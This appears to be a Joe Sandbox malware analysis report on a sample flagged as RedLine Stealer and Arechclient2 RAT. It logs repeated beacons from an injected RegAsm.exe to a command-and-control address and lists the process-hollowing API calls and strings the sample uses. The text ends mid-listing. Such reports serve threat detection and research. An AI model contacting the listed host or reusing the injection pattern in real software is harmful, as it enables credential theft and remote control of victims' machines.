Oct 19, 2024 03:40:12.687151909 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:11 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50131	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:12.796978951 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:13.680567026 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:12 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50132	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:13.808279991 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:14.693249941 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:14 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	50133	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:14.847980022 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:40:15.742858887 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:15 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	50134	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:15.859008074 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:16.741530895 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:16 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	50135	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:16.858376026 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:17.739881039 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:16 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	50136	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:17.974330902 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:18.843472004 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:18 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	50137	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:18.952718973 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:19.844057083 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:19 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	50140	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:19.968733072 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:20.830682039 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:19 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	50141	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:20.952466011 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:40:21.840100050 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:20 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	50142	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:21.954983950 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:22.841701031 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:22 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	50143	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:40:22.953242064 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:40:23.849380016 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:40:23 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Target ID:	0
Start time:	21:36:59
Start date:	18/10/2024
Path:	C:\Users\user\Desktop\107.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\107.exe"
Imagebase:	0x400000
File size:	4'083'200 bytes
MD5 hash:	468BBC70A56325CC39D82E796879FAA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:36:59
Start date:	18/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\107.exe"
Imagebase:	0x840000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4487554897.0000000000402000.00000020.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.4487554897.0000000000402000.00000020.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.5%
Total number of Nodes:	263
Total number of Limit Nodes:	13

Executed Functions

Function 045A1000 Relevance: 89.8, APIs: 36, Strings: 15, Instructions: 556
processmemoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 045A1029
GetCommandLineW.KERNEL32(00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 045A1055
CreateProcessW.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000), ref: 045A1061
GetLastError.KERNEL32 ref: 045A106B
_wprintf.LIBCMT ref: 045A1077
VirtualAlloc.KERNELBASE(00000000,000C0200,00003000,00000004,?), ref: 045A109E
GetLastError.KERNEL32 ref: 045A10B0
_wprintf.LIBCMT ref: 045A10BC

Strings

Error at VirtualAlloc, code = %d, xrefs: 045A10B7
Cannot relocate the PE because the relocation table is stripped, xrefs: 045A12DA
NtUnmapViewOfSection, xrefs: 045A11C3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 045A105C
Error at VirtualAllocEx, code = %d, xrefs: 045A1268
Error at ReadProcessMemory, code = %d, xrefs: 045A1188
ntdll.dll, xrefs: 045A11B8
Error at CreateProcessA, code = %d, xrefs: 045A1072
Error at ResumeThread, code = %d, xrefs: 045A16B4
D, xrefs: 045A1031
Error at WriteProcessMemory, code = %d, xrefs: 045A1704
Error at NtUnmapViewOfSection, code = %d, xrefs: 045A11E6
Error at VirtualProtectEx, code = %d, xrefs: 045A16DC
Error at SetThreadContext, code = %d, xrefs: 045A14CF
Error at GetThreadContext, code = %d, xrefs: 045A1138

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: ErrorLast_wprintf$AllocCommandCreateLineProcessVirtual_memset
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Cannot relocate the PE because the relocation table is stripped$D$Error at CreateProcessA, code = %d$Error at GetThreadContext, code = %d$Error at NtUnmapViewOfSection, code = %d$Error at ReadProcessMemory, code = %d$Error at ResumeThread, code = %d$Error at SetThreadContext, code = %d$Error at VirtualAlloc, code = %d$Error at VirtualAllocEx, code = %d$Error at VirtualProtectEx, code = %d$Error at WriteProcessMemory, code = %d$NtUnmapViewOfSection$ntdll.dll
API String ID: 4151388601-168030421
Opcode ID: a75f3b555a55963780aa8f2f3473e1f500b2a1fcc64d2a83159e96430466f2e7
Instruction ID: 787b2196e015d09bfdfd16a0cc8a197bde177da830dbd2a6ee40250d1eddc37e
Opcode Fuzzy Hash: a75f3b555a55963780aa8f2f3473e1f500b2a1fcc64d2a83159e96430466f2e7
Instruction Fuzzy Hash: 4A128271A005199FDB20DF64EC84BBDB3B5FF48314F1441A9E90AE7240EA35AE65EF50

Function 004613E0 Relevance: 24.8, APIs: 8, Strings: 6, Instructions: 250
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(000000BC,0040149B,B6184AA8,00000010), ref: 004614E1

Part of subcall function 00464510: InitializeProcThreadAttributeList.KERNEL32(00000000,00000001,00000000,00000000), ref: 00464611
Part of subcall function 00464510: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,B6184AA8,00000000), ref: 0046461B
Part of subcall function 00464510: InitializeProcThreadAttributeList.KERNEL32(00000000,00000001,00000000,00000000), ref: 00464681

UuidCreate.RPCRT4(?), ref: 0046150B
GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00461526
LoadLibraryW.KERNELBASE(?,dbghelp.dll,0000000B,0062934C,00000001,?,?), ref: 00461673
GetProcAddress.KERNELBASE(00000000,MiniDumpWriteDump), ref: 00461689
GetLastError.KERNEL32 ref: 0046169E
GetLastError.KERNEL32(Could not retrieve system directory), ref: 00461744
SetEvent.KERNEL32(?,B6184AA8,00000000,00000018,?,00000000,005CFDB0,000000FF,?,?,006852A8,00000000), ref: 004658F9

Strings

MiniDumpWriteDump initialization failed, error code {}, xrefs: 004616F1
MiniDumpWriteDump, xrefs: 00461683
dbghelp.dll, xrefs: 004615EE
A983BBBB, xrefs: 004616EB
Could not retrieve system directory, xrefs: 0046173F
6, xrefs: 00461704

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorInitializeLastProc$AttributeListThread$AddressCreateCriticalDirectoryEventLibraryLoadSectionSystemUuid
String ID: 6$A983BBBB$Could not retrieve system directory$MiniDumpWriteDump$MiniDumpWriteDump initialization failed, error code {}$dbghelp.dll
API String ID: 1808552650-1876619100
Opcode ID: 0ba193caef7eabaaddc2e1a9100aa229287cfafff35a55679f8c88f06a1b1e89
Instruction ID: 06af58a94c7e6e04f4943f4627f98b40f9896ff4251d60fd1cda8e909a873a71
Opcode Fuzzy Hash: 0ba193caef7eabaaddc2e1a9100aa229287cfafff35a55679f8c88f06a1b1e89
Instruction Fuzzy Hash: 5DC1A370901B59CFDB20DF24C94879AB7F4FF58314F00869EE44AA7250EB786A88CF55

Function 00582290 Relevance: 3.0, APIs: 2, Instructions: 42
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryUnbiasedInterruptTime.KERNEL32(?), ref: 005822A5
GetSystemTimes.KERNELBASE(?,?,?), ref: 005822B7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: InterruptQuerySystemTimeTimesUnbiased
String ID:
API String ID: 3974609374-0
Opcode ID: 266764d2a49c0ec6d7d3e08b8fb80bebe489298eb23751e2ab99fe2720819694
Instruction ID: dda974fa4fb112a9d32264b817004e820dee78a46fcec4642ca90119929b910c
Opcode Fuzzy Hash: 266764d2a49c0ec6d7d3e08b8fb80bebe489298eb23751e2ab99fe2720819694
Instruction Fuzzy Hash: 6111A5B5D006099F8B14CF99D8848AEBBF9FB4C310B10851AE856A3340D734AA45CFA4

Function 045A1589 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 045A15B0
VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 045A166F
ResumeThread.KERNELBASE(?), ref: 045A16A1
_wprintf.LIBCMT ref: 045A16B9
_wprintf.LIBCMT ref: 045A1709

Strings

Error at ResumeThread, code = %d, xrefs: 045A16B4

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: _wprintf$MemoryProcessProtectResumeThreadVirtualWrite
String ID: Error at ResumeThread, code = %d
API String ID: 1613008581-2872417922
Opcode ID: ed7a8e32b60f52df936c1e1ed928c7c22c2e73f9f6849f826f5fc60bb39bc422
Instruction ID: 2065a133c80b85d4ccdcd276e7c51c172c5a5316537b892dce638b99c67fafe9
Opcode Fuzzy Hash: ed7a8e32b60f52df936c1e1ed928c7c22c2e73f9f6849f826f5fc60bb39bc422
Instruction Fuzzy Hash: E0215371A004158FDB24DF59EC84BBDB3B5FF48354F0405A5E94AD7250EA34ADA5EF20

Function 045A1740 Relevance: 4.5, APIs: 3, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 045A1769
